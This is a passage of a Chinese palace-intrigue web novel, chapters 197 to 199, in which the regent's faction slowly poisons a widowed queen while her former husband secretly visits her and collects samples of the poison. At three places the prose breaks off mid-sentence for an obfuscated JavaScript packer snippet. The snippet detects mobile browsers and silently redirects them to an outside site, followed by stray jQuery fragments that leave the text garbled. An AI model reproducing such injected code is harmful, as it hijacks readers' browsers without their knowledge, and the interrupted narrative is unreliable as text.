建宁十四年八月十七夜,苻洵麾下白袍卫、武卒营、弓弩营和玄甲营同时出动,南翊军队位于龙城、弋阳、南都等多处粮草库先是被劫,然后被一把火烧得干干净净。 七日后,满载粮草的军船从阊江出发,兵分两路,一路向西途经宜西陵渡时,停泊渡口的数艘渔船突然出动,载满火油、自杀式冲向南翊运粮船;另一路走海上遭遇风暴、迷失方向不知所踪。 八月三十,四万龙骧骑兵突然从澄洛驰道涌出,沈绍宗抄东路、薛怀嘉抄西路,对驻扎在东原道三十五城的二十万翊国步兵发起反攻。 骑兵对步兵,自然是——摧枯拉朽、节节败退。 197. 慢毒蚀骨 “咱们能否在淮水以北这几个位置,布下伏兵”,苻洵在舆图上圈圈点点,“反正这儿要加强布防,打退之后就地驻扎就成,洹哥意下如何?” 苻洹整张脸拧成苦瓜:“好是好,你这样无诏擅自西兵东调,是不是太……” “来不及去奉宁请旨,时机稍纵即逝”,苻洵毫不在意笑了笑,“借个七八天再还回去,神不知鬼不觉。” 苻洹惊讶地注视着他:“你这样无法无天十几年,脑袋居然还长在脖子上,陛下脾气也真好。” 苻洵耸耸肩:“所以我当不了太尉,帮你们出出主意就成。” “你啊你,明明是懒”,苻洹简直被他的无赖气笑,“你确定七八天能好?这么多骑兵天天跑,咱们粮仓早见底了。” 苻洵笃定地点点头。 “你是不是忘了什么”,苻洹忽然皱眉,“南翊那三万水师怎么办?” 苻洵笑道:“守住阜门峡,最多半月即见分晓。” 九月初十,在饥饿和混战中消磨数日的班益,终于收到姗姗来迟的诏书——班师回朝。 来时二十万,归时十四五万,可接受的伤亡人数,远征数月、无功而返。班益的反应很平静,毕竟根据史料所载,前二三百年荣国还没壮大时,每每陈兵龙骨关,也经常如此收尾。 班氏虽非世家大族,却也有一两百年传承,晓得在翊国作武将的规矩——内斗重逾外战。 可惜,再无昭王庄王在位那二十几年,放开手脚建功立业的好时候。班益坐在马背上,无不遗憾,看向越来越远的翊东三十五城。 三日后,同渝安水师在阜门峡对峙的扬澜湖和西陵水师相继撤退。 所有领兵在外的将领,眼下有一项更重要的事务——卸甲解剑、孤身入京觐见新王,宣誓效忠。 集贤殿前门外搭起高台,冯睦早已率卫尉寺侍卫清场十多次、确保守备森严滴水不漏。鼓乐齐鸣,引驾仪仗挂交龙旗,三架革辂分别搭载新君元承祉、太王太后冯姮、王太后褚舜英,一行人浩浩荡荡走到伞盖之下。 依然是国君居中,冯后居左、褚后居右。太尉班益、三川两湖水师大都督周士承、平南大都督陆斐、淮南边户大都督晏驰、宛陵骑兵骠骑大将军左肃……逐一上前,双膝下跪。 三跪九叩之后,捧起仪刀平平举过头顶、递到新君元承祉手边,寓意将生杀予夺之权献于主上。 大部分老将,面对年仅九岁的新君宣誓时,眼角余光却瞟向他右侧的女子——秘银面具遮住上半张脸,瘦得形销骨立,却脊背挺直、不怒自威,钗环脂粉也遮不住皮下潇潇风骨、烈烈血性。 退回队列时,陆斐和周士承不约而同悄然抬眸,再次仔细打量一番褚舜英。 是夜,舜英回到景和宫,一点点卸去脂粉钗环,注视着镜中的自己——印堂浮起淡淡黑气、脸颊两团不正常红晕,嘴唇发白。 胸口又开始剧痛,一抽一抽地,像一把锯子在反复拉扯。 门外传来元旭的声音:“四嫂,该服药了。” 春羽开门迎上去,带着哭腔请求:“丞相大人,娘娘今天检阅太累,就別服药了吧。” 元旭笑了笑:“四嫂御体康健关乎国体,不可有一日荒疏。” 春羽有些畏惧地看了看他,含泪转向寝殿内:“娘娘……” “无妨,姑姑先去替我催一催洗澡水”,舜英淡淡说着,心口疼痛又剧烈几分,她伸手紧紧捂住、额头冷汗涔涔,“进来吧,你们都先退下。” 酸苦回甘的浓黑药汁,缓缓滑入喉咙、烫得胃腹发颤,玉碗很快见底、一滴不剩。她将碗放回妆台,阖眼沉默良久,长长吁了一口气。 “这次是解药”,她平静地笑了,“看来母后今晚心情不错。” 是挺不错,聪慧坚毅、酷肖庄王的元承祎意外崩逝,没心没肺傻乐呵的元承祉继位,八方军营前来觐见居然没一个冒头不臣的,顺利得像做梦。 “今日检阅,比七年前迁都那次还顺利”,元旭低头轻声道,“正因如此,待陛下羽翼渐丰,母后必定不会让你继续活下去。当今陛下是母后一手拉扯大,基本没见过阿姊几面,定不会像延光陛下那般替你撑腰。” 舜英静静听他说完,唇角勾起一抹玩味:“那又如何?” “那又如何?!”元旭惊愕地睁大双眼,旋即凑近她,眼圈泛红、满是难以置信,压低声音道,“当初你明明有机会跟我回阊江,隐姓埋名过完下半辈子。就算跟着苻洵安安稳稳藏在后院,也比现在日子舒服吧。” “辗转流离一大圈、机关算尽,非要遍体鳞伤回这儿来找死,你是不是活腻了?” 舜英没有回应他,忽然举起玉碗猛然摔落,声音陡然拔高几度:“丞相大人请自重!” 元旭倏然警觉,下意识屏住呼吸,果然听到轻微的脚步声渐行渐远。 “普通宫人而已,我这儿没什么暗卫”,舜英淡淡道,“冯太后那四部暗卫没名没分,若被我失手杀掉,她只能自认倒霉,闹大了丢脸的也是她。” 她盯着元旭,忽然笑了:“你这副胆小怯懦的模样,居然也是昭王之子。” “我有什么办法,母妃还在宫里、还在她手里”,元旭双手颤抖、眼里闪着泪光,“我只想让你们每个人都好好活着,可你们一个比一个疯,好好的阳关道不走、非去踩刀尖。” 舜英别过脸不再搭理他,有一搭没一搭顺着头发。元旭识趣往外走,走到门口忽然转身:“今年还有次机会……” “世事难两全”,舜英头也没回,“元旭,墙头草左右摇摆,往往什么都捞不到。想一想你的前岳父?” 元旭瞳孔急遽收缩,双掌攥紧成拳,一字一字冷冷道:“明天,还请四嫂记得喝药。” . 九月底,为庆贺新君即位,褚后代幼子巡视各大军营、犒赏将士,丞相元旭、太尉班益伴驾随行。 鸾驾自阊江出发,先行北上,从西陵水师开始,绕淮南、长流川北巡视近半月,最终在维阳城休整。班益仍跟往日一样宿在军营、与将士同食同住,舜英却一改往日作风,坚持要独自进城去逛逛。 然后,中帐几位将领、随行侍卫眼睁睁看着,元旭魔怔了似的跟着嫂子冲出营房,全然不顾老丈人逐渐铁青的脸。 当夜,维阳城最贵的沧浪墅,顶层和第四层所有房间全被平南侯包下,供随行侍卫、宫人、主簿等居住。更不可思议是,平南侯居然毫不避讳跟褚后挤在同一个套间。 . 仆妇抬着一桶桶热水,将巨大浴桶灌满,再洒上花瓣,滴入素馨香露,然后将皂荚、帕子、干净衣物等放好,默默交换过眼神,恭敬施礼后鱼贯而出。 宫人皆知,褚后在北宛受尽苦楚,回宫后厌恶与别人身体接触,沐浴时不喜人伺候。 舜英目送宫人走远,闩上卧房门,却并未沐浴,而是摘下面具、一件一件褪去外袍,走到床边放下帷帐,然后缓缓转身。 宽近六尺的大床上,苻洵双臂枕在脑后、优哉游哉翘着一条腿,眉眼带笑闲闲地说:“我与姐姐果真心有灵犀。” 他身穿玄色外袍,两肩处绣着银色梅花,比分别时更沉稳高冷,笼着淡淡肃杀之气。腰带松开,外袍松松垮垮散着,怎么看怎么不正经。 舜英表情复杂沉默半晌,在他身边躺下:“你这副德性,从哪儿进来的?” 他漫不经心指了指头顶,又垂眸扫视一眼腰间,补充说:“这个是进来才脱的。” 还怪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15020312|148138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 讲究…… 苻洵瞥了一眼她的表情,看向浴桶,抬抬下颌示意:“方才不是要洗澡么?” “见着你,突然不想洗了”,舜英无奈叹气,“几个月不见,胆子倒变大不少。” 他笑容可掬侧身,双臂环过来揽住她,偏了偏头凑近她脖颈,轻声耳语:“阿洵胆子一向很大,不过以前有点惧内,如今媳妇跑了自然顾忌得少些……” 舜英身躯一僵,想要挣脱已经晚了,他轻声耳语同时,以迅雷不及掩耳之势,抓住她双臂反剪在背后,再用腰带缠几圈打了个结。 “还有更大胆的,姐姐不如见识一下?” 舜英没尝试挣扎,想也不用想,苻洵打的一定是越动越紧的活套结。她压低声音提醒:“元旭就住隔着客厅的对门,这两层里里外外几百号人……” “我后悔放你回阊江了,跟我回家”,苻洵脸上仍挂着笑容,眼圈却微微泛红,注视着她双眸,“姐姐,我带你回家,就算一起赴死,也比你一个人留这里遭罪好。” 舜英微微倾身,苍白的唇轻轻覆上他浅粉的唇,蜻蜓点水吻过。苻洵心旌激荡,翻身打横抱起她走向窗口。 “我不走”,她坚决地轻声说,“阿洵,我要沐浴。” 苻洵身形一滞:“为什么?” 他双手紧握成拳,眼眸霎时通红,颤声说:“维护你的延光王已过世,现在那个幼主早忘记你这生母,襄国公也已致仕。你还陷在这泥潭作甚?” “他们都想害你性命,不值得你守护”,他低头吻了吻她额头疤痕,眼里戾气暴涨,唇角翘起冷笑,“不如我趁主少国疑、军心动荡,支持元承赟借道南下,一举收了这污秽的阊江朝廷——杀光冯氏走狗、替你堂弟和儿子报仇!” “不必”,她仰头盯向他,坚决而温柔地说,“阿洵,五年之约仍然有效,相信我……一定会好好回来,不要怕。” “你的意思是……”他愕然睁大双眼,瞥见她眨了眨眼、唇边凝着笃定坚决。他怔了许久,又迟疑沉吟许久,像是终于下定决心,止住双臂的颤抖,转身走向浴桶。 他将她放进浴桶时,已重新堆了满脸轻佻笑容:“既然如此……小别胜新婚,就让阿洵伺候姐姐沐浴?” 浅乳白水面冒着热气、胭脂红玫瑰花瓣浮浮沉沉,散发着淡淡药香和素馨清香,水温微烫,熏得她皮肤透出浅浅红晕。苻洵伸手指慢慢抚过他后背,皮肤纵横交错着无数伤疤、薄薄皮肉下的肋骨清晰硌手。 他轻叹一声:“好容易养得娇贵,又被折腾成这样,阊江的风水咬人?” “还不是被慢性毒折腾的”,舜英割破指头,将血滴进干净的白瓷瓶,“不是蛊毒,冯太后只会用自己熟悉的、可控的东西。” “肯定不是蛊毒,一般蛊毒伤不到你们,金蝉也没有感应”,苻洵脸色阴沉盯着一滴滴血珠,接过瓷瓶封好,“不是北宛就是西羌,我回去后马上派人探察。” “你不要心急”,舜英笑着摇头,“承祉浑浑噩噩长到九岁,要完全信服这么多军队少说得两三年。在那之前,冯太后不会让我这吉祥物死掉,甚至要使我看起来健康,英姿不减当年。” 苻洵手一颤,垂眸凝噎良久,轻声道:“可是,你会疼,也会落下病根。” 舜英心尖一揪,瞬间不知该说什么,伸手摸了摸他脸颊:“值得,以后会好的……” 苻洵侧过脸蹭了蹭她,转到她背后捞起青丝,比分别时稀少许多、有些黯淡枯涩。他眼眶一热、泪水模糊视线,忙平稳心绪,撩水慢慢打湿,一点一点轻轻顺着…… “笃、笃、笃……”三长两短、清晰的敲门声,在万籁俱寂的夜晚格外响亮。 元旭的声音紧随其后:“四嫂,该服药了。” 198. 妖后权相 这个套间进门是客厅和花厅,两套客房呈两翼分布,依次是书房、卧房,卧房内又以屏风隔开起居小室、内室。浴桶就放在屏风之后。 沧浪墅注重宾客私密,隔墙至少有一砖半厚度,隔音效果极好。能在内室能听到如此响亮的敲门声,对方铁定不在客厅,而是直接不速而入、正站在书房敲击着卧房与书房之间的这道门。 “笃、笃、笃……”第一阵敲击之后,门外人候了片刻见无人应门,继续耐心地敲着,同时款款恭声道,“四嫂,该喝药了。” 三十岁男子半夜敲嫂子卧房门……好教养! 苻洵动作一顿,轻轻放下手中湿发,从背后环住她的腰,下颏搁在她肩膀上,带着狠厉、柔声耳语:“让他滚。” “没用,跟狗皮膏药一样,不盯着我喝完药不会走,真想把他头拧下来”,舜英语气平淡,哗啦啦破水而出、站到浴桶外,扯过搭在木施上的整块棉布裹在身上,吸干水分,一丝不苟地穿着干净衣袍,“可惜,没了他还有别人,新来的指不定比他还难相与。” 敲门声仍在继续,像索命冤魂。 苻洵不紧不慢从浴桶出来,擦干水分穿上中衣,再松松垮垮披上外袍,揽着舜英绕过屏风,走到小起居室的榻边。 他瞥了一眼门口,弯起唇角笑了、眼眸春水流转,揽在她后腰的手慢慢抚上去,哑声轻语:“真不识趣,我是割了他舌头、还是剁了他的手?” 舜英沉默片刻:“……他敲他的,又不碍着你什么。” “听着烦,不如咱们再逗逗他?”他满面笑容,一手扣在她脑后、低头亲了亲她,另一只手慢慢从腰间抽出未系好的锦带,轻飘飘挥出、绕了两圈一拉—— 门闩应声而落,卧房门被敲击力度一带,“嘎吱”轻响缓缓展开,站在门口的元旭瞥见房内场景,陡然睁大双眼。 “你们……”元旭瞠目结舌站在门口,又薄又白的脸皮霎时绯红,僵了片刻才反应过来,忙不迭抬袖遮在眼前。 卧房门开的刹那,映入满眼旖旎。 房间潮气弥漫、氤氲着素馨淡香,月影纱灯罩将煌煌烛光滤得柔白如月华,正对门是一架五扇紫檀骨坐屏,绢绫屏心以散错针法分别绣着桃花双蝶、竹涧鸳鸯、鱼戏莲叶、知了促织、红梅双鹊,端的是云缭雨润、春情欲燃。 那二人坐在屏风前的榻上,正坐在中间那幅鱼戏莲叶图下,女子衣衫倒还整齐,男子却只松松垮垮披着件玄色外袍,腰带……腰带软软圈在腰上,将坠未坠。 男女的乌发都湿漉漉披散在脑后,散发着湿热的皂角香气,男子正拿着块帕子,慢条斯理替女子擦拭湿发,又拿起一枚玉梳、慢悠悠将头发梳理顺畅,直到泛出柔光。 衣衫不整……一起沐浴……简直难以想象方才发生过什么。 替舜英梳理好乌发后,苻洵看也不看门边,好整以暇拿起一罐伤药,用指头挑出一点。又将她袖子慢慢推上去,露出一截皓腕,在手腕新磨出的伤口慢慢涂药,十分平常的动作,在他手里竟带着几分意味深长、几分——旖旎。 元旭别过脸以袖掩面、脸红耳热不敢直视,却仍一动不动杵在那,甚至一只脚撑在门框处,防止门再次合上。 苻洵等了许久,终于忍无可忍松开她,腰带如闪电般再度挥出,回腕猛然一拉,将元旭拉进卧房,然后一脚踹上房门。 “看够了没”,他一边慢条斯理系着腰带,一边走近元旭,“平南侯是有什么癖好,喜欢窥视人家夫妻私事?” “夫妻?”元旭绯红的脸逐渐恢复白净,冷笑道,“大半夜闯女子闺阁,冒犯先王遗孀,你管这叫夫妻?” 苻洵笑了:“你还知道这是大半夜,方才敲门敲得跟索命似的,又是为何?” “她是我表姐,也是我兄长明媒正娶的王后”,元旭回身闩紧房门,四下张望后,压低声音恨恨道,“你们之前怎么好我不管,侍卫宫人眼皮子底下,莫要太出格……到处是宝慈宫的耳目等着逮她错处!” 苻洵和舜英闲闲坐回榻上,元旭也坐下,将已凉的汤药放在茶几上,轻声道:“这是解药。若我没猜错,明晚或后晚会有一次毒药。汤药都是她派来的心腹煎的,药渣处理得很干净。” 他抬眸盯着苻洵:“偶然听到一耳朵,这毒喝久了就算解掉也会有落下病根。我跟她都不能擅动,幸亏你来得及时。” “算你有点良心”,苻洵脸上嘲讽消失,拿起另一个空瓷瓶、灌了满满小瓶,将碗递给舜英,眼睛却盯着元旭,“原汁原味的汤药更好比照,想办法拖几天。” “最多两晚”,元旭思索片刻答应,“班太尉还在樊良大营,虽说私下传得够难听,可拖太久了面子过不去。” “有什么过不去的?冯太后不就想看到这局面么?”苻洵眼里敌意消失,像是松了口气,闲闲道,“三角最稳固,你文官之首、班太尉武官之首、她稳定军心,你们三个私底下龃龉越多,越互相恶心、貌合心离,冯太后的位置才越牢固。” 元旭沉吟一瞬,猛然抬头、恍然大悟扫视过他们:“去年除夕,你们果然在合伙骗我!” “你自小怯懦无性,对冯太后敬重畏惧、言听计从,刺杀姜夫人在先,每天逼我服毒在后,我凭什么信你?”舜英容色平静,眼神却冷厉如霜,带着探究深深盯向他,“抑或——你做过什么值得我信任的事?” “我没……”元旭勃然变色,脸涨得通红,须臾平静下来,忽然看着苻洵笑了,“不如你带她走吧,我帮你们掩护,这是阿姊最后的生机。” 舜英冷笑轻嗤:“你怎么不长记性?说过的话我不想重复。” 元旭皱眉扫视过他们,压低声音嘲讽说:“你俩果真天生一对,一个比一个疯。” “多谢夸奖”,苻洵忽然扬眉笑了,问了句毫无干系的话,“听说你告诉别人,我是你表姐的面首?” 舜英:“……” 元旭挑了挑眉,凉凉道:“她是三书六礼、十六台凰辇,从大庆门抬进来的元氏冢妇,你不是面首,难道是什么正经夫君?” 舜英一个头两个大:“你俩是不是有病,现在是争这个的时候?” 苻洵不屑嗤笑:“十五年前,我曾与庄王合作,我替他偷运兵甲马匹到洛京,助他逃离永兴王和高相的掌控。他回国夺权成功后,与荣国结为盟友、有生之年不起战事,并册封一个我们都认识的人为长公主、与我联姻,她嫁入灵昌也可,我入赘昇阳也可……” 舜英身躯一震,难以置信地望向苻洵。 元旭脸上表情霎时凝固,睁大双眼:“不可能,你骗人,四哥他不可能拿阿姊交易,因为…因为……” “因为他在十五岁那年就找你父王求得赐婚”,苻洵不屑嗤笑,幽幽道,“无论我跟你表姐知不知晓,庄王在灵昌为质子的四年,他们已经是未婚夫妻。” 元旭涨红脸:“那是自然。” 苻洵又诚恳地问:“若男子已有婚约、却又三书六礼聘娶他人,是为毁约在先,女方也可不再守约、自行婚配,对否?” 元旭一时语塞。 苻洵笑容一收,轻飘飘睨了一眼:“请 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15025214|148138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 平南侯好生听着,十五年前我就已经向你表姐求过婚、她答应了,此后我又向你的叔父、她的师父托付媒妁,走的正是明媒正娶的程序!庄王辜负你表姐在先,事成却反悔了,过河拆桥横刀夺爱……当真可笑至极。” 元旭竭力辩解:“我还是觉得不太可能……四哥那么要强的性子,怎会拿未婚妻跟人交易,定是你编排他!” “我当时任五城兵马司大统领,他一介质子自身难保,还有什么筹码能让我感兴趣?是真是假你心里自有答案,实在不甘就去问你叔父”,苻洵又笑了,冰冷、慵懒、不屑,“我那时候觉着这交易太过侮辱你表姐,所以不愿挑明。可是以庄王之严谨,若非他默认,我能有什么机会在灵昌接近他的未婚妻?” 元旭垂眸思忖半晌,猛然抬头惊惶道:“文房四宝?是你?可就算四哥事后反悔,你并无错处,为何……为何……” “为何不与他理论?为何不向他讨要自己应得?”苻洵笑容变温和,像在看天真稚子,“因为形势,因为他运筹帷幄滴水不漏。我确定他决意反悔时,你阿姊已被送到高相府中替嫁,我不能不顾她安危当场翻脸。” “后来他登基为大国君主,兵强马壮、权势滔天。他说我无理,我再有理也是无用;他说我有错,我再谨小慎微也动辄得咎。讨要?跪着求他么?有用么?” 元旭陡然一震,悚然盯住他、再将目光缓缓移向舜英,怔愣片刻,慌乱看向窗外不知所措。 “别看了,没有耳目”,舜英已平复心绪,深吸一口气站起来总结道,“有没有错处,不在于咱们是否做得够好,在于掌权者心意。从头到尾,咱们只有一个错——作了别人的棋子,可咱们为何不能作那执棋之人?” 她眼神陡然凌厉,寒声道:“阿旭,站着的人可能大获全胜、也可能粉身碎骨,但跪着的人注定一无所有。” “想一想,你的谨小慎微换回了什么?” . 平南侯撇开新婚妻子、丝毫不顾岳父颜面,与孀嫂共宿沧浪墅,消息不胫而走,从樊良大营、沧浪墅的伙计女侍口中一传十十传百,仅一天一夜就传遍维阳城。 妖后权相的谣言满城风雨,维阳城依然明月照笙歌,翠裙红烛坐。沧浪墅厚厚外墙,将流言蜚语和莺歌燕舞一并隔绝,卧房内寂静如死。 酸、苦、带着一丝蜜甜味,今日送来的是毒。舜英环顾四周,嬷嬷正在帮她收拾卧房,洒扫、换洗被单和衣袍,但她知道,她们真正在意的是花盆、浴桶甚至夜壶有没有被她偷偷倒药。 她含笑斜睨元旭一眼,端起药碗一饮而尽。心脏一阵阵抽痛,她双手颤抖将空碗放在一旁。 元旭脸上尽是恻隐,低眉顺眼,将一碗醴浆捧到她面前:“四嫂,喝点这个,不口苦。” 她漠然瞥向他,慢悠悠端起醴浆、抬高,对着他乌亮的头发慢慢倒下,甜腻浆水浇了他满头满脸。 元旭没说话,垂眸看不出眼底情绪,默默收起药碗和浆水碗出去。 一旁嬷嬷熟视无睹,不约而同想到冯太后的话。常说元旭心肠软,果真是个面活心软的冤大头,一边不得已干脏活、一边又想让发小少遭罪,把自己搞得声名狼藉不说,还里外不是人。 但是冯太后又说,昭王膝下六子二女,一个比一个心肠硬性子烈,一个比一个心眼多难拿捏。为自己所用时自然是利刃宝刀,一旦生出不臣之心、反噬回来能碾得人骨头渣都不剩。 元旭性情温厚荏弱,弱也有弱的好,什么都割舍不下,一旦拿捏住软肋绝无可能背叛,用起来最放心。 199. 逼宫 元旭和嬷嬷都已退出,浴桶照样加满热水。 舜英坐在镜前,翻来覆去看额心十字疤痕,忖度贴个什么花钿形状刚好贴合。一想到他要来,就开始情不自禁在意容貌。 待她挑好一枚火焰状的,用鱼胶贴在额心,转过屏风试了试水温。身后微风拂动,带着清爽皂香,苻洵在她身侧站定,递过一只干净的黑色小瓷瓶。 她忙接过来,举袖掩面、将口里含着的最后一口毒药吐到瓶中,塞紧瓶塞,又用丝绢擦干净瓶身瓶口,才郑重递给他。 苻洵收好毒药,递过一盏适温热茶,舜英抿下一大口,漱了片刻,全部吞进肚子里。 “这茶是给你漱口的,你怎么喝下去了?”苻洵忙用力拍打她后背,“快吐出来。” “多的都喝了,不多这口”,舜英指了指周遭,“药味儿大,漱了吐哪里都保不齐被发现端倪。” 苻洵眼眶一热,旋即平静下来,从十三岁第一次相见,每次重逢,她不是在打架、在受伤,就是在阴沟翻船、或是被坑被害。他早已习惯,却仍止不住心疼。 他一声不吭替她洗头,指腹贴在她头皮上、顺经络从前往后轻轻按压。沐浴完毕、又用帕子替她擦头发。 “头发没干先别急着睡,头疼。”他打开桌上茶罐,见是参枣茶,唇角浮出一丝欣慰笑意,注入滚水泡好,放在床边小桌上。动作流利娴熟,跟他们一起生活那六年多、每个朝朝暮暮一模一样。 月影纱帷帐低垂,将窗外世界光怪陆离都隔得柔和而静谧,他拾起她的手、轻轻放进被窝,侧身躺下、借黑暗中微光注视着她。 她翻了个身,迷迷糊糊伸臂环在他腰间,脑袋往他怀里钻了钻。 素馨花香清甜淡雅、盈满怀抱,他的心揪了揪,对睡梦中的她轻声说:“好好活着,还有,忘了我。” 手指轻轻抚过她额心疤痕、鼻梁、脸颊、下颌,眷恋不舍,他痴痴笑了,眼角溢出两滴泪。揽住她后背抱紧、相拥入睡。 这是舜英离开奉宁以来,睡得最安稳的三个夜晚。 龙涎香也好、皂荚香也好,甚至是带着泥土和血腥的汗味,她总能透过层层浮在外表的气味,嗅到独属于他的气息,每每被这种气息环绕,她都感到分外踏实、睡得分外沉。 南翊延光七年十月十六,稽留维阳城三日的巡军鸾驾再次启程,从西津渡南下,沿萝州、沵州、河州巡视,再北上折返皋州阊江。 十月十六下午,摄政太后鸾驾楼船消失在长流川浩淼烟波之后,西津渡民用泊口、一艘西行客船蓄势待发,苻洵站在自己房间,舷窗朝南,正是阊江的方向。 他苦笑:“真是不甘心啊。” 伸手,扯出脖子上悬挂的细细银链,纯银蝴蝶祥云锁静静躺在掌心,融着他们的体温和心跳。 千辛万苦酿好这坛酒,到头来,却是他自己,亲手摔碎了它。 . 荣建宁十五年、南翊永熙元年,阊江的三月香醇如酒,暖熏熏、乐融融。 大朝会之后,难得的闲暇,舜英信步走上北苑望楼,遥遥望见长流川烟波浩渺,江花红胜火、江水绿如蓝。 去年初夏,北宛失去三大关隘,还损失了最核心的一万精骑,冯栩难得地消停大半年。北翊三军郡和北卢郡只小规模出兵十来次,仅需对付一些部落散骑的骚扰劫掠。 去年冬,北疆的暴风雪尤其大,北宛自然损失严重。可北翊和荣国粮草不足,也不知冻死饿死多少马匹,骑兵战力降至几成。 北宛已得大半年喘息之机,又有极东之地千里沃野,以冯栩之心性,不晓得今年又会闹出什么幺蛾子。柘枝城未平,黩武之辈尚存,北宛便是悬在中原诸国头顶的灭世利剑。 这些消息一部分来自隐蝠卫——名为国君内卫、实际由冯太后掌控,一部分来自四季阁——冯太后组建的心腹暗卫,还有一部分来自班益的斥候营。 冯太后手头多少得力武将可用,冷眼观察半年,确定舜英对当年香薰一事浑然不知,仍跟七八年前一样顾念大局,加之身体每况愈下,也放心许多。每有军国要务皆专程问她意见,或是将她从病榻拉起,去上书房议事。 朝野皆知褚后和班太尉不和,冯姮兼听班益和舜英的意见,再综合考量做出决策。 有了崔太尉专权、北翊彻底自立的教训,冯姮再信不过任何武将,哪怕其中为数不少由她亲手擢拔,朝廷吏治也逐渐呈现出重文抑武的趋势。 对于冯姮,拿不住、会割伤自己的快刀,不如磨钝些,起码安全踏实。 反正,有淮水和长流川天险,骑兵过不了河,渝安水师打不过长流川,阊江安全得很。 胸口的抽痛一阵重似一阵,舜英深吸一口气、合上双眼,轻轻按住左腰,唇角浮起一丝笑意。 虽隔着衣料什么都摸不到,可她知道那里有块三角状烙痕。 苻洵的右腰,烙着一模一样的疤痕。她又开始忍不住猜想,他这会儿在做什么?练兵?巡视西羌诸国?还是坐在伊河边独自饮酒? 这怎么不算,另一种同甘共苦? 楼下传来宫人的声音:“丞相大人万福金安。” 她转头往楼下看去,猝不及防一股冷风吹得她不住呛咳,咳得弯起腰身。元旭忙疾步上前扶住她,同时递过一张丝帕。 “滚!”她用力一推,没能推开,毒药侵蚀之下,她的力气越来越小。喉咙胸腔一阵麻痒,她捂住嘴继续咳嗽,手从唇上移开时,掌心一滩发黑的血红。 元旭见她不接丝帕,一边扶着她一边替她擦拭唇边血迹。擦拭完唇角,带血的丝帕却未丢掉,而是珍重地折起,收入袖中。然后从宫人手中拿起一件大氅,披到她背上、再替她系好带子。 如此亲密暧昧的动作,身后新进的宫人看得瞠目结舌,待久了的早已见惯不怪。 元旭待她气顺了,低眉顺眼柔声说:“阿姊,该喝药了。” 嬷嬷手捧托盘上前,垂着的眸子掠过一丝嘲讽——瞧着温柔小意、体贴入微,该喂的毒药一碗不少,所谓深情,不过如此。 舜英体质越来越虚,近来送到的汤药调整过分量,毒性越来越淡——元承祉实在太不争气,一时半会儿担不起军国重担。 喝下汤药后,舜英感觉气息又虚弱几分,头晕目眩得厉害。元旭于是小心搀着她往楼下走,又吩咐宫人去抬肩舆。 “北边江风大,容易吹着凉。阿姊若想踏春散心,萝州比皋州更暖和温润些,过几天就是春祭,不若提早去燮陵住着。” 迁都阊江后,每三年清明时节,元氏王族会前往燮陵龙首山、拜祭郑氏王陵,以安抚滬南民心。以往首献国君,亚献平南侯,亚献之后再由元旭触碰郑锦珠裙角,以示感恩滬南郑氏生养之恩。 可自千秋宴刺杀后,冯姮的疑心病和头风越来越重,承祉性情仪态都望之不似人君。经太常寺引经据典搜寻一番,终于找到可遵循的旧例,一致确定今年首献由褚太后代理。 元旭送舜英回景和宫,刚在院中坐下,宫人进来通传:“陛下来向娘娘请安,已至前殿。” 眼睛一错,元承祉已轻快地跑进来,神色活泼欢喜、不甚标准躬身一揖:“母后万福。” 他身后跟着一名高挑少年,面向他们屈膝下跪、逐一稽首大拜,仪态从容、端雅入骨。 “微臣东宫侍读穆阐,拜见太后娘娘千秋万岁。” “愚徒穆阐,向师父请安。” 那少年起身抬头,眉目温柔、鼻若悬胆,目光缓缓移向舜英,笑容沉静而孺慕。 舜英正要说些什么,殿外又传来一声细声细气的“母后——” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15029225|148138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,只见承徽带着嬷嬷从前殿进来,眼里满是担忧:“母后今天咳嗽好些了没?徽儿炖了燕盏羹,听御医的话、多加秋梨膏润肺止咳。” 嬷嬷忙笑盈盈地补充:“这燕盏羹是公主亲自守着火炉炖了一个时辰。” 舜英忙拉过她的手察看,却见手指白白净净,没半点烫伤,不禁笑了:“比我强。” 承徽笑起来,带几分得意调皮:“那母后一定要喝得干干净净,每天都喝。”转身去端瓷碗。 “小心。”穆阐忽然伸手拖住瓷碗底部,与此同时,承徽手刚触到碗边,就被烫得缩回去捏耳朵。 那是一盏冬青釉折腰碗,底部偏大,滚烫的碗底贴着穆阐手掌,烫得他微微发颤,却没立即丢开,而是一手托碗底、一手扶碗身,小心翼翼将碗放到桌上。 承徽吓了一条,忙吩咐人打来凉水,亲手浸湿丝帕递给他,盯着他通红手掌:“这么烫,怎么不丢掉?” 穆阐淡淡笑了:“公主对娘娘的孝心,微臣不敢怠慢。” 承徽撅了撅嘴:“傻不傻。” 